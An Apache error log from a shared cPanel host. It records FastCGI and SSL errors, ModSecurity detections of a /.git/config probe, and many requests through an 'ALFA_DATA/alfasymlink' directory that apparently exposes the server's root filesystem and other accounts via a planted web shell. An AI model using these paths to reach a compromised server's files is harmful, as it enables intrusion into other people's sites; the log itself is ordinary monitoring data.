[Sat Oct 24 13:49:00.835379 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:01.272949 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:01.659372 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:02.047792 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:02.432588 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:02.818531 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:03.303162 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:03.898478 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:04.299992 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:04.704824 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:05.177122 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:05.595916 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:06.200976 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:06.729989 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:06.783891 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 184.73.68.20:58645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:49:07.278426 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:07.804762 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:08.197241 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:08.593651 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:09.046512 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:09.449956 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:09.897327 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:10.342439 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:10.784080 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:11.167873 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.197.76.210:28910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:49:11.185173 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:11.582652 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:11.994315 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:12.382576 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:12.837137 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:13.223230 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:13.799056 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:14.201263 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:16.587415 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 185.191.171.12:51240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/slab_size
[Sat Oct 24 13:49:17.738678 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:20.423368 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:20.808388 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:21.195621 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:21.640635 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:22.073510 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:22.592699 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:22.618847 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 216.244.66.250:59130] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sat Oct 24 13:49:22.630032 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 216.244.66.250:59130] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sat Oct 24 13:49:23.011615 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:24.078919 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:24.477336 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:24.841154 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:25.019838 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 85.208.96.195:63732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/validate
[Sat Oct 24 13:49:25.206375 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:25.571854 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:26.769115 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:27.229207 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:27.667637 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:28.040168 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:28.424059 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:28.878319 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:29.353413 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:29.740337 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:30.145823 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:30.578681 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:31.371160 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:32.141832 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:32.506678 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:33.084052 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:34.235110 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:34.598467 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:34.675451 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 35.174.253.85:8037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:49:34.963213 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:35.327445 2026] [proxy_fcgi:error] [pid 2677775:tid 2677775] [client 74.225.203.7:60888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:38.643050 2026] [ssl:error] [pid 2678927:tid 2678927] (5)Input/output error: [client 100.29.128.75:32697] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:49:50.653660 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 3.214.176.44:56940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:02.805935 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 100.29.34.97:42193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:06.758196 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 18.213.102.186:27465] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:14.801961 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 52.3.102.51:34385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:1f/eject
[Sat Oct 24 13:50:16.722223 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 185.191.171.5:55206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/cache_dma
[Sat Oct 24 13:50:19.179157 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.84.147.79:60304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:29.095974 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.163.169.168:21762] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:34.680603 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.204.62.163:12169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:38.687546 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 98.83.177.42:33581] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/eject
[Sat Oct 24 13:50:50.806839 2026] [authz_core:error] [pid 2677788:tid 2677788] [client 91.230.168.241:42753] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 13:50:50.831398 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 54.84.161.62:41779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:50:58.797006 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.156.124.2:17011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:02.936646 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 98.83.94.113:14138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:07.476316 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 85.208.96.200:13896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/order
[Sat Oct 24 13:51:18.832203 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 54.80.185.200:43272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:26.654632 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.194.226.74:49590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:27.398142 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 85.208.96.204:36402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/trace
[Sat Oct 24 13:51:30.862751 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.192.125.239:57248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:35.666341 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.210.114.189:2360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:51:36.538923 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:1786] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzwKJ3ucYdH-en2mI_C8wAAAAQ"]
[Sat Oct 24 13:51:36.539313 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:1786] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzwKJ3ucYdH-en2mI_C8wAAAAQ"]
[Sat Oct 24 13:51:36.539629 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:1786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzwKJ3ucYdH-en2mI_C8wAAAAQ"]
[Sat Oct 24 13:51:36.540095 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:1786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzwKJ3ucYdH-en2mI_C8wAAAAQ"]
[Sat Oct 24 13:51:50.662005 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 3.223.134.5:55805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/driver/module/sections/__param
[Sat Oct 24 13:51:58.882947 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.21.62.139:52735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:02.859438 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 35.169.119.108:2978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/firmware_node/eject
[Sat Oct 24 13:52:07.051864 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.45.15.233:30013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:10.810992 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.207.207.36:37159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:14.699912 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 107.20.181.148:41573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:16.448729 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 85.208.96.193:60150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/slab_size
[Sat Oct 24 13:52:18.886313 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 35.153.86.200:1137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:23.003367 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 50.16.248.61:1759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:26.866444 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.202.88.37:48377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:34.939023 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 98.82.66.172:33280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:38.219082 2026] [authz_core:error] [pid 2677793:tid 2677793] [client 94.154.43.189:50596] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:52:43.330180 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.166.126.132:18087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:45.543689 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 185.191.171.17:45292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/alloc_calls
[Sat Oct 24 13:52:46.813215 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.212.212:3470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:51.029828 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.204.37.237:12919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:54.761214 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 54.88.84.219:27963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:52:58.944289 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 3.218.35.239:36692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:06.812902 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.70.138.176:13096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:11.194254 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.213.102.186:44844] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:11.589376 2026] [core:crit] [pid 2677843:tid 2677843] (13)Permission denied: [client 47.245.26.63:22906] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:53:12.023037 2026] [authz_core:error] [pid 2677786:tid 2677786] [client 47.245.26.63:22916] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:53:14.976402 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.220.70.171:2137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:23.172811 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.194.165.45:57797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:27.175651 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.84.169.196:46605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:31.063515 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.229.2.217:59695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:35.006448 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.1.157.90:25275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:35.006629 2026] [security2:error] [pid 2677776:tid 2677776] [client 52.1.157.90:25275] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse1/subsystem/input5/subsystem/input4/event2/power/runtime_active_time"] [unique_id "atzwn2ZJIyiQiKFtr2-5AQAAABU"]
[Sat Oct 24 13:53:35.006657 2026] [security2:error] [pid 2677776:tid 2677776] [client 52.1.157.90:25275] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse1/subsystem/input5/subsystem/input4/event2/power/runtime_active_time"] [unique_id "atzwn2ZJIyiQiKFtr2-5AQAAABU"]
[Sat Oct 24 13:53:43.054011 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 44.207.252.58:15890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:47.069205 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 3.94.156.104:13788] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:49.777727 2026] [security2:error] [pid 2677773:tid 2677773] [client 185.191.171.17:42532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/drupal6/php71/import.php"] [unique_id "atzwrZEknkbZNLYoFZ9cOwAAAAY"]
[Sat Oct 24 13:53:49.777769 2026] [security2:error] [pid 2677773:tid 2677773] [client 185.191.171.17:42532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/drupal6/php71/import.php"] [unique_id "atzwrZEknkbZNLYoFZ9cOwAAAAY"]
[Sat Oct 24 13:53:51.305890 2026] [ssl:error] [pid 2677788:tid 2677788] (22)Invalid argument: [client 52.7.33.248:17401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:51.833856 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 185.191.171.3:28350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/tcp_diag/sections/__mcount_loc
[Sat Oct 24 13:53:55.278961 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.91.122.193:60959] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:53:59.086687 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.202.233.37:9286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:03.117505 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.84.169.196:25885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:11.004409 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.225.81.20:37680] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:14.922878 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 52.54.157.23:38921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:19.418999 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.214.124.6:22660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:23.259295 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 54.84.169.196:15051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/resource4
[Sat Oct 24 13:54:27.009241 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 44.223.232.55:9784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/resource4_wc
[Sat Oct 24 13:54:31.108450 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 107.20.25.33:17771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/rescan
[Sat Oct 24 13:54:39.050072 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.221.156.96:60217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:48.608490 2026] [authz_core:error] [pid 2677788:tid 2677788] [client 66.249.66.38:65498] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
